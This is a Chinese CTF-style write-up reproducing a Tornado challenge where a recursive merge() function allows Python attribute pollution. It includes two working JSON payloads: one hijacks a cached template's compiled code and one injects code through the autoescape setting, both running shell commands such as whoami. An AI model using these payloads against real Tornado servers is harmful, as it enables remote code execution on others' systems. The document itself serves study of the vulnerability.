tornado原型链污染学习


来自数信杯的一道题目,涨知识了。

引入

由于本人并没有打数信杯,所以只能够简单复现一下环境了,网上搜到的源码基本上都是这样的(我在此基础上做了一点修改):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import json
import os

import tornado.web
from tornado import ioloop, web, options

settings = {"static_path" : os.path.join(os.getcwd(), 'venv', 'static')}

class Pollute:
def __init__(self):
pass

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
for x in ['eval', 'os', 'chr', 'class', 'compile', 'dir', 'exec', 'globals', 'help',
'input', 'local', 'memoryview', 'open', 'print', 'property', 'reload',
'object', 'reduce', 'repr',
'method', 'super', "flag", "file", "decode", "request", "builtins", "handler"]:
if x in v:
return
setattr(dst, k, v)

class IndexHandler(tornado.web.RequestHandler):
def get(self):
self.render("venv\\static\\index.html")
def post(self):
msg = self.get_argument('json', '{}')
j = json.loads(msg)
p = Pollute()
merge(j, p)
self.write("SUCCESS")

def make_app():
return tornado.web.Application([('/', IndexHandler)], **settings)

if __name__ == '__main__':
app = make_app()
app.listen(5000)
print(f"Server started on 127.0.0.1:5000, os.getcwd() = {os.getcwd()}")
tornado.ioloop.IOLoop.current().start()

python原型链污染

可以看到我们的一个老朋友merge,除开这个waf以外,就是我们的原型链污染。简单介绍一下就是能够通过原型链污染掉类里面没有的属性,在调用一个类或者实例的属性的时候,如果没有找到,就会对应的父类中去找。这就是原型链的原理,如果我们改掉他的父类的值,我们就能够改掉这个类或者实例的值了,而merge这个函数就能够做到

挖掘

在此思路上,我们怎么去做这个题呢?

受到CISCN Sanic这题的启发下,想到的第一个可能性就是看看能不能够污染static,使其可以修改成我们的任意静态目录,如果能够修改到根目录下,就能够暴露出/flag并且直接访问

1
settings = {"static_path" : os.path.join(os.getcwd(), 'venv', 'static')}

注意我们不能够污染static_path,因为它只用于初始化。也就是说它只在程序被访问的时候使用过一次,后续都是程序内部的一个属性里加载static_path的值了

意思是就是static_path赋值给了tornado内的某一个属性,我们只需要污染这个属性就可以修改static_path

查看tornado官方文档的静态文件处可以得知静态文件采用StaticFileHandler来处理

tornado.ioloop.IOLoop.current().start()处下断点调试,试图寻找到static_path被赋值到了哪里,最终发现在wildcard_router.rules里有它的身影:

利用evaluate expression来看怎么调用污染:

1
app.wildcard_router.rules[0].target_kwargs

为了利于我们测试,我们往get路由修改为:

1
2
3
4
def get(self):
self.render("venv\\static\\index.html")
data = self.get_argument("cmd")
print(eval(data))

调试:

1
cmd=app.wildcard_router.rules[0].target_kwargs

可以得到回显:

确实能够得到我们的static_path

但是我们能够直接修改吗?试试payload:

1
2
3
4
5
6
7
8
9
10
11
{
"__init__":{
"__globals__":{
"app":{
"wildcard_router":{
"rules":[{"target_kwargs":{"path":"D:\\pycharm\\tornado_prototype"}}]
}
}
}
}
}

答案是不行,此时渲染之后访问会发现直接报错:

省流就是:

1
AttributeError: 'dict' object has no attribute 'matcher'

对的,有个matcher这个东西在搞鬼

我们重新debug一下:

会发现rules这个数组的每一个元素里都有四个部分:

1
matcher name target target_kwargs

更加烦人的是这个matcher是一个对象,我们不能够直接用json来覆盖:

1
<tornado.routing.PathMatches object at 0x000001CC82900290>

也就是说我们试图修改static失败了

rce1

参考tornado模板注入,我们可以发现一个问题:

对于 Tornado 来说,一旦 self.render 之后,就会实例化一个 tornado.template.Loader,这个时候再去修改文件内容,它也不会再实例化一次。所以这里需要把 tornado.web.RequestHandler._template_loaders 清空。否则在利用的时候,会一直用的第一个传入的 payload。

也就是说我们可以控制_template_loaders的值改为我们的ssti语句从而成功rce。由于它在RequestHandler._template_loaders,我们尝试从p = Pollute()找到它的位置:

1
p.__init__.__globals__

能够找到IndexHandler找不到requestHandler

IndexHandler看看:

里面确实有:

1
p.__init__.__globals__['IndexHandler'].__init__.__globals__['RequestHandler']

再进去找到_template_loaders

1
p.__init__.__globals__['IndexHandler'].__init__.__globals__['RequestHandler']._template_loaders

它的输出是这样的

1
{'D:\\pycharm\\tornado_prototype': <tornado.template.Loader object at 0x000001D3467F6410>}

比较奇怪,我们再进去看看:

利用__dict__查看:

1
{'autoescape': 'xhtml_escape', 'namespace': {}, 'whitespace': None, 'templates': {'venv\\static\\index.html': <tornado.template.Template object at 0x000001D3493FDF90>}, 'lock': <unlocked _thread.RLock object owner=0 count=0 at 0x000001D3493FDF00>, 'root': 'D:\\pycharm\\tornado_prototype'}

看到我们的index.html了,再跟进:

1
p.__init__.__globals__['IndexHandler'].__init__.__globals__['RequestHandler']._template_loaders['D:\\pycharm\\tornado_prototype'].templates['venv\\static\\index.html'].__dict__
1
{'name': 'venv\\static\\index.html', 'autoescape': 'xhtml_escape', 'namespace': {}, 'file': <tornado.template._File object at 0x000001D3493FE2D0>, 'code': 'def _tt_execute():  # venv\\static\\index.html:0\n    _tt_buffer = []  # venv\\static\\index.html:0\n    _tt_append = _tt_buffer.append  # venv\\static\\index.html:0\n    _tt_append(b\'<!DOCTYPE html>\\n<html lang="en">\\n<head>\\n<meta charset="UTF-8">\\n<title>Test</title>\\n</head>\\n<body>\\n\')  # venv\\static\\index.html:8\n    _tt_tmp = 1  # venv\\static\\index.html:8\n    if isinstance(_tt_tmp, _tt_string_types): _tt_tmp = _tt_utf8(_tt_tmp)  # venv\\static\\index.html:8\n    else: _tt_tmp = _tt_utf8(str(_tt_tmp))  # venv\\static\\index.html:8\n    _tt_tmp = _tt_utf8(xhtml_escape(_tt_tmp))  # venv\\static\\index.html:8\n    _tt_append(_tt_tmp)  # venv\\static\\index.htRml:8\n    _tt_append(b\'\\n</body>\\n</html>\\n\')  # venv\\static\\index.html:11\n    return _tt_utf8(\'\').join(_tt_buffer)  # venv\\static\\index.html:0\n', 'loader': <tornado.template.Loader object at 0x000001D3467F6410>, 'compiled': <code object <module> at 0x000001D34904CC60, file "venv\static\index_html.generated.py", line 1>}

发现里面有个code

1
2
3
4
5
6
7
8
9
10
11
def _tt_execute():  # venv\static\index.html:0
_tt_buffer = [] # venv\static\index.html:0
_tt_append = _tt_buffer.append # venv\static\index.html:0
_tt_append(b'<!DOCTYPE html>\n<html lang="en">\n<head>\n<meta charset="UTF-8">\n<title>Test</title>\n</head>\n<body>\n') # venv\static\index.html:8
_tt_tmp = 1 # venv\static\index.html:8
if isinstance(_tt_tmp, _tt_string_types): _tt_tmp = _tt_utf8(_tt_tmp) # venv\static\index.html:8
else: _tt_tmp = _tt_utf8(str(_tt_tmp)) # venv\static\index.html:8
_tt_tmp = _tt_utf8(xhtml_escape(_tt_tmp)) # venv\static\index.html:8
_tt_append(_tt_tmp) # venv\static\index.html:8
_tt_append(b'\n</body>\n</html>\n') # venv\static\index.html:11
return _tt_utf8('').join(_tt_buffer) # venv\static\index.html:0

问问ai:

这段代码是一个Python函数,名为 _tt_execute,它的作用是生成一个简单的HTML页面。下面是代码的逐行解释:

  1. _tt_execute(): 定义了一个函数 _tt_execute,没有参数。
  2. _tt_buffer = []: 初始化一个空列表 _tt_buffer,用于存储HTML页面的各个部分。
  3. _tt_append = _tt_buffer.append: 将列表的 append 方法赋值给 _tt_append 变量,用于后续添加HTML代码。
  4. _tt_append(b'<!DOCTYPE html>\n<html lang="en">\n<head>\n<meta charset="UTF-8">\n<title>Test</title>\n</head>\n<body>\n'): 向 _tt_buffer 中添加HTML页面的头部和 <body> 标签的开始部分。
  5. _tt_tmp = 1: 初始化一个变量 _tt_tmp 并赋值为整数 1
  6. if isinstance(_tt_tmp, _tt_string_types): _tt_tmp = _tt_utf8(_tt_tmp): 检查 _tt_tmp 是否是字符串类型,如果是,则将其转换为UTF-8编码的字符串。
  7. else: _tt_tmp = _tt_utf8(str(_tt_tmp)): 如果 _tt_tmp 不是字符串类型,则先将其转换为字符串,然后再转换为UTF-8编码的字符串。
  8. _tt_tmp = _tt_utf8(xhtml_escape(_tt_tmp)): 对 _tt_tmp 进行XHTML转义,以确保HTML代码的安全。
  9. _tt_append(_tt_tmp): 将转义后的 _tt_tmp 添加到 _tt_buffer 中。
  10. _tt_append(b'\n</body>\n</html>\n'): 向 _tt_buffer 中添加HTML页面的结束部分,包括 </body></html> 标签。
  11. return _tt_utf8('').join(_tt_buffer): 将 _tt_buffer 中的所有部分连接起来,并返回一个UTF-8编码的字符串,这个字符串就是完整的HTML页面。

注意:代码中提到的 _tt_string_types_tt_utf8xhtml_escape 函数没有在代码片段中定义,它们可能是在其他地方定义的辅助函数,用于处理字符串类型、编码和转义。_tt_utf8 函数可能是用来将字符串转换为UTF-8编码的函数,而 xhtml_escape 函数则用于转义HTML特殊字符。

简单地说就是这玩意就是用来渲染我们的html的,而且你看tt_tmp不就是我们的{{1}}吗,那修改了code是否就能够成功了呢?

实际上是不行的,而且这搞得json过于冗长,而且将其code随意更改后也没有爆出任何的异常:

只能另寻他路,注意到我们还有一个compiled,这里既然是关于模板渲染的问题,那去它的源码看看(template.py)

搜索关键字以后可以搜到generate()函数内有该code的生成逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class _Expression(_Node):
def __init__(self, expression: str, line: int, raw: bool = False) -> None:
self.expression = expression
self.line = line
self.raw = raw

def generate(self, writer: "_CodeWriter") -> None:
writer.write_line("_tt_tmp = %s" % self.expression, self.line)
writer.write_line(
"if isinstance(_tt_tmp, _tt_string_types):" " _tt_tmp = _tt_utf8(_tt_tmp)",
self.line,
)
writer.write_line("else: _tt_tmp = _tt_utf8(str(_tt_tmp))", self.line)
if not self.raw and writer.current_template.autoescape is not None:
# In python3 functions like xhtml_escape return unicode,
# so we have to convert to utf8 again.
writer.write_line(
"_tt_tmp = _tt_utf8(%s(_tt_tmp))" % writer.current_template.autoescape,
self.line,
)
writer.write_line("_tt_append(_tt_tmp)", self.line)

而且仔细观察可以发现code其实是由很多个generate()函数生成的,这是最后一部分:

1
2
3
4
5
6
7
def generate(self, writer: "_CodeWriter") -> None:
writer.write_line("def _tt_execute():", self.line)
with writer.indent():
writer.write_line("_tt_buffer = []", self.line)
writer.write_line("_tt_append = _tt_buffer.append", self.line)
self.body.generate(writer)
writer.write_line("return _tt_utf8('').join(_tt_buffer)", self.line)

它的调用始于:

这里的generate就是指向上面最后的一部分,可以得到return buffer.getvalue()应该就是得到code

往上一级查看_generate_python在哪被调用了:

可以看到它将这段代码编译好了,compiled就是用在这里的,把编译好的对象放入compiled,然后下面的Generate函数是专门根据compiled生成模板的

关注exec_in

1
2
3
4
5
6
7
8
def exec_in(
code: Any, glob: Dict[str, Any], loc: Optional[Optional[Mapping[str, Any]]] = None
) -> None:
if isinstance(code, str):
# exec(string) inherits the caller's future imports; compile
# the string first to prevent that.
code = compile(code, "<string>", "exec", dont_inherit=True)
exec(code, glob, loc)

如果code是str类型的话也会编译运行,所以我们可以直接改compiledstr进行模板注入:

1
json={"__init__":{"__globals__":{"IndexHandler":{"__init__":{"__globals__":{"RequestHandler":{"_template_loaders":{"D:\\pycharm\\tornado_prototype":{"templates":{"venv\\static\\index.html":{"compiled":"import subprocess\nsubprocess.run(['whoami','>','./1.txt'],shell=True,stdout=subprocess.PIPE).stdout\n"}}}}}}}}}}}

目前只能够实现这样的rce,而且static目录必须是可以写的

而且有一个最大的限制:你要知道项目的名字是什么,就像这里D:\pycharm\tornado_prototype,如果你不知道这个就不能这么样去用,这个方法局限比较大,因此我们还得找一条其他的路

rce2

重新探索该模板还有什么地方能够让我们更加方便地rce,重点看我们的模板,此时会发现有一个地方写入了一个新的东西:

1
writer.current_template.autoescape

控制autoescape的地方在这里:

关键是loader如果我们能够控制loader的话就能够控制autoescape

ctrl+left跟随autoescape

1
loader: Optional["BaseLoader"] = None,

ctrl+alt+f7查看BaseLoader查看在哪被定义的:

锁定web.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def create_template_loader(self, template_path: str) -> template.BaseLoader:
"""Returns a new template loader for the given path.

May be overridden by subclasses. By default returns a
directory-based loader on the given path, using the
``autoescape`` and ``template_whitespace`` application
settings. If a ``template_loader`` application setting is
supplied, uses that instead.
"""
settings = self.application.settings
if "template_loader" in settings:
return settings["template_loader"]
kwargs = {}
if "autoescape" in settings:
# autoescape=None means "no escaping", so we have to be sure
# to only pass this kwarg if the user asked for it.
kwargs["autoescape"] = settings["autoescape"]
if "template_whitespace" in settings:
kwargs["whitespace"] = settings["template_whitespace"]
return template.Loader(template_path, **kwargs)

可以看到

1
2
3
4
if "autoescape" in settings:
# autoescape=None means "no escaping", so we have to be sure
# to only pass this kwarg if the user asked for it.
kwargs["autoescape"] = settings["autoescape"]

也就是说我们只需要控制settings就可以控制autoescape

debug一下看看settings在哪就可以了,其实就在app里

最后我们只需要拿到app就可以了,简单测测就知道通过p.__init__.__globals__['app']就能拿到

那exp就很简单了,注意一下要闭合:

1
2
3
4
writer.write_line(
"_tt_tmp = _tt_utf8(%s(_tt_tmp))" % writer.current_template.autoescape,
self.line,
)

这里还有一个需要注意的小点就是上面这个地方,如果直接写就是会报缩进错误,所以此时要空4个格就可以了。

1
json={"__class__":{"__init__":{"__globals__":{"app":{"settings":{"autoescape":"'1')\n__import__('os').popen('whoami').read()#"}}}}}}

同样地没有回显,所以只能够打反弹shell之类的了

Reference

https://cn-sec.com/archives/3262945.html

https://xz.aliyun.com/t/12260?time__1311=GqGxRDcGit0%3DD%3DD%2FYriQ%3Du%2BnDun8YNKaF4D#toc-9